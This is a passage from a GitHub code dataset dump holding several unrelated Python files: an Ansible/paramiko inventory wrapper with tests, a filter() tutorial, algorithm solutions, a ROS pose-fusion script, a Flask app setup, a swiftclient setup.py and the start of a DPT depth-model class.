-1","repo_name":"vvrmahendra/DS-AlgoPrac","sub_path":"strings/strSearch.py","file_name":"strSearch.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"47"}
{"seq_id":"13952928867","text":"from ansible.vars import VariableManager\nfrom ansible.inventory import Inventory as AnsibleInventory\nfrom ansible.parsing.dataloader import DataLoader\n\n\n\nimport copy\nimport functools\nimport importlib\nimport os\nimport paramiko\nimport pkgutil\nimport subprocess\n\n\n\nclass Group:\n\n    def __init__(self, group_name, inventory):\n    \n        self._name = group_name\n        \n        self._inventory = inventory\n        \n        self._hosts = dict()\n\n\n\n    def __getitem__(self, name):\n\n        return self.get(name)\n        \n        \n        \n    def get(self, name):\n    \n        result = None\n       \n        host = self.get_host(name)\n       \n        if host != None:\n       \n            result = host\n           \n        else:\n           \n            var = self._inventory.get_group_vars(self._name)[name]\n               \n            if var != None:\n               \n                result = var\n                   \n        return result\n        \n        \n        \n    def get_host(self, name):\n    \n        result = None\n        \n        if self._hosts.has_key(name):\n        \n            result = self._hosts[name]\n            \n        else:\n        \n            group_dict = self._inventory._inventory.get_group_dict()\n\n            group = group_dict[self._name]\n\n            if group != None:\n\n                if name in group:\n\n                    self._hosts[name] = self._inventory.get_host(name)\n\n                    result = self._hosts[name]\n\n        return result\n\n\n\nclass Host(object):\n\n    _modules = None\n\n    def __init__(self, host_name, inventory):\n        \n        self._name = host_name\n        \n        self._inventory = inventory\n        \n        self._ssh = None\n\n        self._cd = None\n\n        self._sudo = None\n\n        self.load_modules()\n\n\n\n    def load_modules(self):\n\n        if Host._modules == None:\n\n            Host._modules = dict()\n\n            for module_name in [name for _, name, _ in pkgutil.iter_modules(['%s/modules' % os.path.dirname(__file__)])]:\n\n                module = importlib.import_module('ntx.systest.modules.%s' % module_name)\n\n                Host._modules[module_name] = module.hook\n        \n        \n        \n    def __getattr__(self, name):\n\n        # TODO: look for module\n\n        if Host._modules.has_key(name):\n\n            p = functools.partial(Host._modules[name], self)\n\n            return p\n\n        else:\n\n            return object.__getattribute__(self, name)\n\n\n\n    def __getitem__(self, name):\n\n        return self.get(name)\n\n\n\n    def cd(self, path = '~/'):\n\n        result = copy.copy(self)\n\n        result.set_cd(path)\n\n        return result\n        \n        \n        \n    def get(self, name):\n\n        result = None\n\n        if self._inventory.get_host_vars(self._name).has_key(name):\n    \n            result = self._inventory.get_host_vars(self._name)[name]\n\n        return result\n        \n        \n        \n    def _get_connection(self):\n    \n        if self._ssh == None:\n        \n            ssh = paramiko.SSHClient()\n            \n            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            \n            pkey = paramiko.RSAKey.from_private_key(open(self['ansible_ssh_private_key_file'], 'r'))\n            \n            ssh.connect(self['ansible_host'], username = self['ansible_user'], pkey = pkey)\n            \n            self._ssh = ssh\n            \n        return self._ssh\n\n\n\n    def do(self, command):\n\n        result = None\n\n        if self._sudo != None:\n\n            command = 'sudo -u %s %s' % (self._sudo, command)\n\n        if self._cd != None:\n\n            command = 'cd %s; %s' % (self._cd, command)\n\n        if self['ansible_connection'] == 'local':\n\n            result = self.do_local(command)\n\n        else:\n\n            result = self.do_remote(command)\n\n        return result\n\n\n\n    def do_local(self, command):\n\n        p = subprocess.Popen(command, shell = True, stdout = subprocess.PIPE, stderr = subprocess.PIPE)\n\n        out, err = p.communicate()\n\n        return out.strip().split('\\n')\n        \n        \n        \n    def do_remote(self, command):\n    \n        ssh = paramiko.SSHClient()\n            \n        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n            \n        pkey = paramiko.RSAKey.from_private_key(open(self['ansible_ssh_private_key_file'], 'r'))\n            \n        ssh.connect(self['ansible_host'], username = self['ansible_user'], pkey = pkey)\n        \n        ins, out, err = ssh.exec_command(command, get_pty = True)\n\n        result = out.readlines()[:]\n\n        ssh.close()\n        \n        return [line.strip() for line in result]\n\n\n\n    def set_cd(self, path = '~/'):\n\n        self._cd = path\n\n\n\n    def set_sudo(self, username = 'root'):\n\n        self._sudo = username\n\n\n\n    def sudo(self, username = 'root'):\n\n        result = copy.copy(self)\n\n        result.set_sudo(username)\n\n        return result\n\n\n\nclass Inventory:\n\n    def __init__(self, source):\n    \n        self._source = source\n        \n        self._loader = DataLoader()\n        \n        self._variables = VariableManager()\n        \n        self._inventory = AnsibleInventory(loader = self._loader, variable_manager = self._variables, host_list = self._source)\n        \n        self._groups = dict()\n        \n        self._hosts = dict()\n\n\n\n    def __getitem__(self, name):\n\n        return self.get(name)\n        \n        \n        \n    def get(self, name):\n    \n        result = None\n        \n        host = self.get_host(name)\n        \n        if host != None:\n        \n            result = host\n            \n        else:\n        \n            group = self.get_group(name)\n            \n            if group != None:\n            \n                result = group\n                \n            else:\n            \n                group_all = self._inventory.get_group('all')\n                \n                if group_all != None:\n                \n                    var = group_all.get_vars()[name]\n                    \n                    if var != None:\n                    \n                        result = var\n                        \n        return result\n        \n        \n        \n    def get_group(self, group_name):\n    \n        result = None\n        \n        if self._groups.has_key(group_name):\n        \n            result = self._groups[group_name]\n            \n        elif self._inventory.get_group(group_name) != None:\n        \n            result = Group(group_name, self)\n            \n            self._groups[group_name] = result\n            \n        return result\n        \n        \n        \n    def get_group_vars(self, group_name):\n    \n        result = None\n        \n        group = self._inventory.get_group(group_name)\n        \n        if group != None:\n        \n            result = group.get_vars()\n        \n        return result\n        \n        \n        \n    def get_host(self, host_name):\n    \n        result = None\n        \n        if self._hosts.has_key(host_name):\n        \n            result = self._hosts[host_name]\n            \n        elif self._inventory.get_host(host_name) != None:\n        \n            result = Host(host_name, self)\n            \n            self._hosts[host_name] = result\n            \n        return result\n        \n        \n        \n    def get_host_vars(self, host_name):\n    \n        result = None\n        \n        host = self._inventory.get_host(host_name)\n        \n        if host != None:\n        \n            result = self._variables.get_vars(self._loader, host = host)\n        \n        return result\n\n\n\n#------------------------------------------------------------------------------\n# UNIT TESTING\n#------------------------------------------------------------------------------\n\n\n\nimport unittest\n\n\n\nclass InvetoryTestCase(unittest.TestCase):\n\n    def setUp(self):\n\n        inventory_description = '''\nlocalhost ansible_connection=local ansible_user=isilla ansible_host=localhost ansible_ssh_private_key_file=/home/isilla/.ssh/id_rsa\n\n[testing_group]\nlocalhost\n\n[testing_group:vars]\nfoo=bar\n\n[all:vars]\nfoo_all=bar_all\n        '''\n\n        f = open('/tmp/unit_test.inv', 'w')\n\n        f.write(inventory_description)\n\n        f.close()\n\n        self.inventory = Inventory('/tmp/unit_test.inv')\n\n\n\n    def test_01_loading(self):\n        '''Loading the inventory\n        '''\n\n        self.assertNotEqual(None, self.inventory, 'Loading inventory')\n\n\n\n    def test_02_inventory_hosts(self):\n        '''Reading the hosts'''\n\n        self.assertEqual('localhost', self.inventory.get('localhost')._name, 'Reading host: localhost')\n\n        self.assertEqual('localhost', self.inventory['localhost']._name, 'Reading host: localhost [getitem]')\n\n\n\n    def test_03_inventory_groups(self):\n        '''Reading the groups'''\n\n        self.assertEqual('testing_group', self.inventory.get('testing_group')._name, 'Reading group: testing_group')\n\n        self.assertEqual('testing_group', self.inventory['testing_group']._name, 'Reading group: testing_group [getitem]')\n\n\n\n    def test_04_inventory_variables(self):\n        '''Reading the inventory variables'''\n\n        self.assertEqual('bar_all', self.inventory.get('foo_all'), 'Reading an inventory-wide variable')\n\n        self.assertEqual('bar_all', self.inventory['foo_all'], 'Reading an inventory-wide variable [getitem]')\n\n\n\n    def test_05_group_hosts(self):\n        '''Reading hosts from groups'''\n\n        group = self.inventory.get_group('testing_group')\n\n        host = group.get('localhost')\n\n        self.assertEqual('localhost', host._name, 'Reading host from group')\n\n        self.assertEqual('localhost', group['localhost']._name, 'Reading host from group [getitem]')\n\n\n\n    def test_06_group_variables(self):\n        '''Reading group variables'''\n\n        group = self.inventory.get_group('testing_group')\n\n        self.assertEqual('bar', group.get('foo'), 'Reading a group var')\n\n        self.assertEqual('bar', group['foo'], 'Reading a group var [getitem]')\n\n\n\n    def test_07_host_variables(self):\n        '''Reading host variables'''\n\n        host = self.inventory.get_host('localhost')\n\n        self.assertEqual('bar_all', host.get('foo_all'), 'Reading a host variable')\n\n        self.assertEqual('bar_all', host['foo_all'], 'Reading a host variable [getitem]')\n\n\n\n    def test_08_host_modules_hook(self):\n        '''Hooking modules'''\n\n        host = self.inventory.get_host('localhost')\n\n        file = host.file('/tmp/foo.txt')\n\n        self.assertEqual('File [/tmp/foo.txt]', file.__repr__(), 'Hooking modules from Host')\n\n\n    def test_09_host_remote_do(self):\n        '''Running remote commands'''\n\n        host = self.inventory.get_host('localhost')\n\n        out = host.do('whoami')\n\n        self.assertEqual('%s' % host['ansible_user'], out[0], 'Remotely running a command')\n\n\n\n    def test_10_reading_remote_file(self):\n        '''Reading remote files'''\n\n        host = self.inventory.get_host('localhost')\n\n        host.do('echo \"One ring to rule them all\" > /tmp/remote_file.txt')\n\n        file_content = host.file('/tmp/remote_file.txt').tail()\n\n        self.assertEqual('One ring to rule them all', file_content[0], 'Reading a remote file')\n\n\n\nif __name__ == '__main__':\n\n    unittest.main(verbosity=2)\n","repo_name":"gitnatxo/systest","sub_path":"src/ntx/systest/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":11158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72663540943","text":"from dados import produtos, pessoas, lista\n\nnova_lista = filter(lambda x: x > 5, lista)\nprint(list(nova_lista))\n\nlista_nova = [x for x in lista if x > 5]\nprint(list(lista_nova))\n\n# produtos\nnova_lista = filter(lambda p: p['preco'] > 35, produtos)\n\nfor produto in nova_lista:\n    print(produto)\n\n\n# ou\n\n\ndef filtrar(produto):\n    if produto['preco'] >= 55:\n        produto['e_caro'] = True\n        return True\n    else:\n        return False\n\n\nnova_lista = filter(filtrar, produtos)\n\nfor produto in nova_lista:\n    print(produto)\n\n\n# pessoas\ndef filtra(pessoa):\n    if pessoa['idade'] < 18:\n        return True\n    else:\n        return False\n\n\nnova_lista = filter(filtra, pessoas)\n\nfor pessoa in nova_lista:\n    print(pessoa)\n","repo_name":"borgesds/Arquivario_Estudo_em_Python","sub_path":"Arquivos_para_dar_aula/1.0_Base_basico_intermediario/26.0_27.0_28.0/27.0_Filter.py","file_name":"27.0_Filter.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33029375972","text":"import sys\nfrom collections import deque\nfrom itertools import combinations\nsys.setrecursionlimit(10**5)\n\ninput = sys.stdin.readline\nn = input().strip()\narr = [0 for i in range(10)]\nfor i in range(len(n)):\n    if int(n[i]) == 6 or int(n[i]) == 9:\n        if arr[6] >= arr[9]:\n            arr[9]+=1\n        else:\n            arr[6]+=1\n    else:\n        arr[int(n[i])]+=1\nprint(max(arr))\n        ","repo_name":"slbin-park/Algorithm","sub_path":"백준/Silver/1475. 방 번호/방 번호.py","file_name":"방 번호.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"11109574657","text":"#!/usr/bin/python\n\nimport rospkg\nimport glob\nimport sys\nimport yaml\nfrom tf.transformations import *\nimport collections\n\nfrom multi_robot_fusion.src.load_csv_data import *\nfrom multi_robot_fusion.src.construct_poses import *\n\ndef pose_average(poses):\n  positions = [H[:3,3] for H in poses]\n  orientations = [quaternion_from_matrix(H) for H in poses]\n  mean_ori = numpy.array(orientations[0])\n  ori_count = 1.0\n  for ori in orientations[1:]:\n    ori = numpy.array(ori)\n    if mean_ori.dot(ori) < 0.0:\n      ori = -ori\n    mean_ori = quaternion_slerp(mean_ori, ori, ori_count/(ori_count+1.0))\n    ori_count += 1.0\n  H = quaternion_matrix(mean_ori)\n  H[:3,3] = numpy.array(positions).mean(0)\n  return H\n\ndef fuse_poses(poses, parent, child, time_thresh=0.01):\n  \n  times = [p['time'] for p in poses]\n  in_poses = numpy.array([p['pose'] for p in poses])\n\n  fused_pose = []\n  fused_time = []\n  idxs = numpy.array([0] * len(times))\n  lens = numpy.array([len(t) for t in times])\n\n  while any(idxs < lens):\n    curr_times = numpy.array([t[i] if i<l else numpy.nan for t,i,l in zip(times, idxs, lens)])\n    min_time = numpy.nanmin(curr_times)\n\n    fuse_idxs = (curr_times - min_time) < time_thresh\n\n    f_ps = in_poses[fuse_idxs]\n    p_is = idxs[fuse_idxs]\n    fused_pose.append(pose_average([f_p[p_i] for f_p,p_i in zip(f_ps,p_is)]))\n    fused_time.append(min_time)\n    idxs[fuse_idxs] += 1\n\n  return {\n    'parent': parent,\n    'child': child,\n    'time': numpy.array(fused_time),\n    'pose': fused_pose\n  }\n  \nif __name__ == '__main__':\n  p1_obs = load_poses(filter_str = 'tf-observer_exp-picket_1_obs_*',static_tf=None)\n  p2_obs = load_poses(filter_str = 'tf-observer_exp-picket_2_obs_*',static_tf=None)\n\n  p1_avg = fuse_poses(p1_obs, 'observer_exp', 'picket_1_obs_avg')\n  p2_avg = fuse_poses(p2_obs, 'observer_exp', 'picket_2_obs_avg')\n\n  poses_to_csv(**p1_avg)\n  poses_to_csv(**p2_avg)\n","repo_name":"abuchan/multi_robot_fusion","sub_path":"src/fuse_poses.py","file_name":"fuse_poses.py","file_ext":"py","file_size_in_byte":1883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"18011730138","text":"\"\"\"\nFile name: cache.py\nDescription: Home page API route\n\nChange Log:\nRelease Date    Revision Date   Changes By      Description\n------------    -------------   ----------      -----------\n                July 2020       Sabarish AC     Initial\n                August 2020     Ganapathy R     Code Updation & Refraction\n\"\"\"\n# Built in Modules\nfrom flask import render_template, abort, session, flash, redirect, url_for\n\n# Customized Modules\nfrom . import home\nimport sys\nsys.path.append('C:\\\\ctpt\\\\ctpt-backup\\\\resource_integrate')\nfrom util import util\n\nconf = util.get_conf()\nconst = util.excelConstants()\n\n\"\"\"\nRender to Home Page on / route\n\"\"\"\n@home.route('/home')\n@home.route('/')\ndef homePage():\n    if 'email' in session:\n        email = session['email']\n        return render_template(conf['templates']['home'], logged_in=session, is_home=True, title='Welcome to CTPT Shift Plan App')\n    else:\n        flash('You muste be logged in to use this app, please login!!', category='warning')\n        return redirect(url_for('auth.user_login'))\n","repo_name":"gunasundarigithub/resource_integrate","sub_path":"frontend/home/home_page.py","file_name":"home_page.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"39799871874","text":"from services.MeshNode import MeshNode\nfrom services.NonAgent import NonAgent, Request\n\n\n\ndef test_NonAgent():\n    na = NonAgent()\n    na.bind()\n    na.start()\n    nb = NonAgent()\n    nb.bind()\n    nb.start()\n    nc = NonAgent()\n    nc.bind()\n    nc.start()\n    print(\"pn: \", nc.portNumber)\n    p = nc.portNumber\n\n    ssidReq = Request(function='ssid', args=[])\n    fncsReq = Request(function='list_functions', args=[])\n\n    ssidResponse = MeshNode.call(p, ssidReq)\n    fncsResponse = MeshNode.call(p, fncsReq)\n    dumbResponse = MeshNode.call(p, Request(function='is_coopai', args=[]))\n\n    print(\"SSID query response: \", ssidResponse.response)\n    print(\"fucntions query response: \", fncsResponse.response)\n    print(\"dumbass query response: \", dumbResponse.response)\n\n    del na\n    del nb\n    del nc\n\n\ntest_NonAgent()\n\n","repo_name":"solomondg/coop.ai","sub_path":"agent/services/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"13845993298","text":"import sys\nread=sys.stdin.readline\n\nN=int(read())\ndp=[0]*(N+1)\n\nfor i in range(1,N+1):\n    dp[i]=i         #dp=[0,1,2,3,4....N] 초기화\n    for j in range(1, i):\n        # 제곱수가 i보다 커지면 멈춤\n        if j*j > i:\n            break\n        if dp[i] > dp[i-j*j] + 1: \n            dp[i] = dp[i-j*j] + 1  #dp[4-2*2]+1 =1\nprint(dp[N])\n","repo_name":"leejw-lu/Algorithm","sub_path":"동적 프로그래밍/1699_제곱수의 합.py","file_name":"1699_제곱수의 합.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"26497106334","text":"print(\"            APK TERBILANG           \")\r\nprint(\"====================================\")\r\nnumber=input(\"Masukkan Angka :\")\r\nnumber_mapping={\r\n    \"1\": \" satu \",\r\n    \"2\": \" dua \",\r\n    \"3\": \" tiga \",\r\n    \"4\": \" empat \",\r\n    \"5\": \" lima \",\r\n    \"6\": \" enam \",\r\n    \"7\": \" tujuh \",\r\n    \"8\": \" delapan \",\r\n    \"9\": \" sembilan \",  \r\n}\r\n\r\noutput=  \"\"\r\n\r\nfor n in number:\r\n    terbilang =  number_mapping.get ( n , \"invalid\")\r\n    output= output + terbilang + \"\"\r\nprint(output)","repo_name":"sedrisella/kodingan-sedri","sub_path":"aplikasi terbilang py 5.py","file_name":"aplikasi terbilang py 5.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"33546264787","text":"def print_formatted(number):\n    width = len(format(number, 'b'))\n    types = ['d', 'o', 'X', 'b']\n\n    for i in range(1, number+1):\n        values = ['{:>{width}{type}}'.format(i, width=width, type=type) for type in types]\n        print(' '.join(values))\n\nif __name__ == '__main__':\n    n = int(input())\n    print_formatted(n)\n","repo_name":"enninglintw/hackerrank_python","sub_path":"python-string-formatting.py","file_name":"python-string-formatting.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22872511629","text":"#https://leetcode.com/problems/max-area-of-island/\n#time O(M * N * α(M * N)) space  O(M * N)\n#union find\nclass Solution:\n    def maxAreaOfIsland(self, grid: List[List[int]]) -> int:\n        uf = {}\n        size = {}\n        def find(x):\n            uf.setdefault(x,x)\n            size.setdefault(x,1)\n            if x!=uf[x]:\n                uf[x]=find(uf[x])\n            return uf[x]\n        def union(x,y):\n            rootx = find(x)\n            rooty = find(y)\n            if rootx == rooty:\n                return\n            if size[rootx]<size[rooty]:\n                size[rooty]+=size[rootx]\n                uf[rootx]=uf[rooty]\n            else:\n                size[rootx]+=size[rooty]\n                uf[rooty]=uf[rootx]\n        ans = 0\n        for i in range(len(grid)):\n            for j in range(len(grid[0])):\n                if grid[i][j]==1:\n                    ans = max(ans,1)\n                    if i>0 and grid[i-1][j]==1:\n                        union((i-1,j),(i,j))\n                    if j>0 and grid[i][j-1]==1:\n                        union((i,j-1),(i,j))\n        if size:\n            ans = max(ans,max(size.values()))\n        return ans\n \n#time O(M * N) space  O(M * N)\n#dfs\nclass Solution:\n    def maxAreaOfIsland(self, grid: List[List[int]]) -> int:\n        self.ans = 0\n        self.max = 0\n        m = len(grid)\n        n = len(grid[0])\n        visited = set()\n        def dfs(i,j):\n            if i<0 or i>=m or j<0 or j>=n or (i,j) in visited or grid[i][j]==0:\n                return\n            visited.add((i,j))\n            self.ans += 1\n            dfs(i+1,j)\n            dfs(i-1,j)\n            dfs(i,j+1)\n            dfs(i,j-1)\n\n        for i in range(m):\n            for j in range(n):\n                if grid[i][j]==1 and (i,j) not in visited:\n                    self.ans =0\n                    dfs(i,j)\n                    self.max=max(self.max,self.ans)\n\n        return self.max\n\n\n            \n                    \n\n\n\n","repo_name":"SitongChe/LeetCode","sub_path":"Graph/_695MaxAreaofIsland.py","file_name":"_695MaxAreaofIsland.py","file_ext":"py","file_size_in_byte":1961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"20429020627","text":"#!/Users/dmitrychernyshev/Projects/stepik_python/venv/bin/python3\nimport json\nimport sys\nimport requests\n\n\nparams = {\n\t'default': 'boring',\n\t'fragment': ''\n\t}\n\nfor line in sys.stdin:\n\tline = line.strip()\n\turl = \"http://numbersapi.com/\" + line + \"/math\"\n\n\tres = requests.get(url, params=params)\n\tprint('Interesting' if res.text != 'boring' else 'Boring')\n\n","repo_name":"chernyshevdv/py_training","sub_path":"archive/numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11106327889","text":"import os\nfrom flask import Flask, jsonify, g\nfrom flask_cors import CORS \nfrom flask_login import LoginManager\n\n\nimport models\n#import resources\nfrom resources.dates import date\nfrom resources.users import user\nfrom resources.creates import create\n\nDEBUG = True\nPORT = 8000\n\n# Initialize an instance of the Flask class.\napp = Flask(__name__)\n\napp.secret_key = \"ladedaladeda\" #secret key encodes session\nlogin_manager = LoginManager()\nlogin_manager.init_app(app) #sets up sessions\n\n@login_manager.user_loader #loads user object when we access the session\n#grab user by importing current_user from flask_login\ndef load_user(userid):\n    try:\n        return models.User.get(models.User.id == userid)\n    except: models.DoesNotExist\n    return None\n\n@app.before_request\ndef before_request():\n    \"\"\"Connect to the database before each request.\"\"\"\n    g.db = models.DATABASE\n    g.db.connect()\n\n\n@app.after_request\ndef after_request(response):\n    \"\"\"Close the database connection after each request.\"\"\"\n    g.db.close()\n    return response\n\n\n# CORS(app, origins=['http://localhost:3000'], supports_credentials=True) \n#supports_credentials = true means we allow cookies to be sent to the server\nCORS(date, origins=['http://localhost:3000', 'https://react-find-a-date-idea.herokuapp.com'], supports_credentials=True) \napp.register_blueprint(date,  url_prefix='/api/v1/dates') \nCORS(user, origins=['http://localhost:3000', 'https://react-find-a-date-idea.herokuapp.com'], supports_credentials=True) \napp.register_blueprint(user,  url_prefix='/api/v1/users') \nCORS(create, origins=['http://localhost:3000', 'https://react-find-a-date-idea.herokuapp.com'], supports_credentials=True) \napp.register_blueprint(create,  url_prefix='/api/v1/creates') \n\n# Run the app \nif 'ON_HEROKU' in os.environ:\n    print('hitting')\n    models.initialize()\n\nif __name__ == '__main__':\n    models.initialize()\n    app.run(debug=DEBUG, port=PORT)","repo_name":"cnease10/project4backend","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"8648192443","text":"#\n# @lc app=leetcode.cn id=1605 lang=python\n#\n# [1605] 给定行和列的和求可行矩阵\n#\n\n# @lc code=start\nclass Solution(object):\n    def restoreMatrix(self, rowSum, colSum):\n        \"\"\"\n        :type rowSum: List[int]\n        :type colSum: List[int]\n        :rtype: List[List[int]]\n        \"\"\"\n        n,m = len(rowSum),len(colSum)\n        matrix = [[0]*m for _ in range(n)]\n\n# @lc code=end\n\nrowSum = [5,7,10]\ncolSum = [8,6,8]\n\n","repo_name":"wenkexia/PyAlgorithm","sub_path":"LeetCode/1605.给定行和列的和求可行矩阵.py","file_name":"1605.给定行和列的和求可行矩阵.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"2264120285","text":"# def fibonacci(n):\n#     if n <= 1:\n#         return n\n#     else:\n#         return fibonacci(n-1) + fibonacci(n-2)\n    \n# print(fibonacci(10))\n\ndef fibo_linear(n):\n    if n <= 1:\n        return n, 0\n    else:\n        a, b = fibo_linear(n-1)\n        return a + b, a\n    \nprint(fibo_linear(10))","repo_name":"umamififty/Ritsumei-33318-DSA","sub_path":"Week 2/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"40499137447","text":"import os\nimport setuptools\nimport sys\n\nfrom swiftclient.openstack.common import setup\n\nname = 'python-swiftclient'\n\nrequires = setup.parse_requirements()\ndepend_links = setup.parse_dependency_links()\n\n\ndef read(fname):\n    return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\nsetuptools.setup(\n    name=name,\n    version=setup.get_post_version('swiftclient'),\n    description='Client Library for OpenStack Object Storage API',\n    long_description=read('README.rst'),\n    url='https://github.com/openstack/python-swiftclient',\n    license='Apache License (2.0)',\n    author='OpenStack, LLC.',\n    author_email='openstack-admins@lists.launchpad.net',\n    packages=setuptools.find_packages(exclude=['tests', 'tests.*']),\n    cmdclass=setup.get_cmdclass(),\n    install_requires=requires,\n    dependency_links=depend_links,\n    classifiers=[\n        'Development Status :: 4 - Beta',\n        'Environment :: Console',\n        'Intended Audience :: Developers',\n        'Intended Audience :: Information Technology',\n        'License :: OSI Approved :: Apache Software License',\n        'Operating System :: OS Independent',\n        'Programming Language :: Python :: 2.6',\n        'Environment :: No Input/Output (Daemon)',\n    ],\n    test_suite='nose.collector',\n    scripts=[\n        'bin/swift',\n    ],\n)\n","repo_name":"chmouel/python-swiftclient","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"73743020943","text":"from flask import Flask, render_template, redirect, url_for, session\nfrom flask.ext.bootstrap import Bootstrap\nfrom flask.ext.wtf import Form\nfrom wtforms import StringField, \\\n    SelectField, RadioField, TextAreaField, SubmitField\nfrom wtforms.validators import Required, Email\nimport logging\nimport sys\n\napp = Flask(__name__)\napp.config.from_pyfile('maprequests.cfg')\nbootstrap = Bootstrap(app)\napp.logger.addHandler(logging.StreamHandler(sys.stdout))\napp.logger.setLevel(logging.ERROR)\n\n\nclass MapForm(Form):\n    name = StringField('Name:', validators=[Required()])\n    email = StringField('Email:', validators=[Required(), Email()])\n    pageSize = SelectField(\n        'Page Size:',\n        choices=[('std', '8.5x11'), ('lg', '11x17')],\n        validators=[Required()])\n    orientation = RadioField(\n        'Page Orientation:',\n        choices=[('portrait', 'Portrait'), ('landscape', 'Landscape')],\n        validators=[Required()])\n    submit = SubmitField('Next')\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    form = MapForm()\n    if form.validate_on_submit():\n        session['name'] = form.name.data\n        session['email'] = form.email.data\n        session['pageSize'] = form.pageSize.data\n        session['orientation'] = form.orientation.data\n        return redirect(url_for('index'))\n    return render_template('index.html', form=form)\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"dakotabenjamin/maprequests","sub_path":"maprequests.py","file_name":"maprequests.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73012303183","text":"\"\"\"\nBuild DPT depth model\n - modified from https://github.com/isl-org/DPT\n\"\"\"\n\nimport os\nimport torch\nimport cv2\nimport argparse\nimport util.io\n\nfrom torchvision.transforms import Compose\n\nfrom dpt.models import DPTDepthModel\nfrom dpt.transforms import Resize, NormalizeImage, PrepareForNet\n\n\nclass DepthModel(object):\n    \"\"\"\n    Build DPT network and compute depth maps\n    \"\"\"\n\n    def __init__(self, model_type=\"dpt_hybrid\", optimize=True):\n        \"\"\"\n        Build MonoDepthNN to compute depth maps.\n\n        Arguments:\n            model_path (str): path to saved model\n        \"\"\"\n        default_models = {\n            \"dpt_large\": \"weights/dpt_large-midas-2f21e586.pt\",\n            \"dpt_hybrid\": \"weights/dpt_hybrid-midas-501f0c75.pt\",\n            \"dpt_hybrid_kitti\": \"weights/dpt_hybrid_kitti-cb926ef4.pt\",\n        }\n        model_path = default_models[model_type]\n        self.model_type = model_type\n        self.optimize = optimize\n\n        # select device\n        self.device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n        print(\"device: \", self.device)\n\n        # load network\n        if model_type == \"dpt_large\":  # DPT-Large\n            net_w = net_h = 384\n            model = DPTDepthModel(\n                path=model_path,\n                backbone=\"vitl16_384\",\n                non_negative=True,\n                enable_attention_hooks=False,\n            )\n            normalization = NormalizeImage(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n\n        elif model_type == \"dpt_hybrid\":  # DPT-Hybrid\n            net_w = net_h = 384\n            model = DPTDepthModel(\n                path=model_path,\n                backbone=\"vitb_rn50_384\",\n                non_negative=True,\n                enable_attention_hooks=False,\n            )\n            normalization = NormalizeImage(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n\n        elif model_type == \"dpt_hybrid_kitti\":\n            net_w = 1216\n            net_h = 352\n\n            model = DPTDepthModel(\n                path=model_path,\n                scale=0.00006016,\n                shift=0.00579,\n                invert=True,\n                backbone=\"vitb_rn50_384\",\n                non_negative=True,\n                enable_attention_hooks=False,\n            )\n\n            normalization = NormalizeImage(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n\n        else:\n            assert (\n                False\n            ), f\"model_type '{model_type}' not implemented, use: --model_type [dpt_large|dpt_hybrid|dpt_hybrid_kitti|dpt_hybrid_nyu|midas_v21]\"\n\n        self.transform = Compose(\n            [\n                Resize(\n                    net_w,\n                    net_h,\n                    resize_target=None,\n                    keep_aspect_ratio=True,\n                    ensure_multiple_of=32,\n                    resize_method=\"minimal\",\n                    image_interpolation_method=cv2.INTER_CUBIC,\n                ),\n                normalization,\n                PrepareForNet(),\n            ]\n        )\n\n        model.eval()\n\n        if optimize and self.device == torch.device(\"cuda\"):\n            model = model.to(memory_format=torch.channels_last)\n            model = model.half()\n\n        self.model = model.to(self.device)\n\n    @torch.no_grad()\n    def compute_depth(self, img, kitti_crop=False):\n        \"\"\"\n        Computes depth map\n\n        Arguments:\n            img (array): image (0-255)\n        \"\"\"\n\n        if img.ndim == 2:\n            img = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\n        img 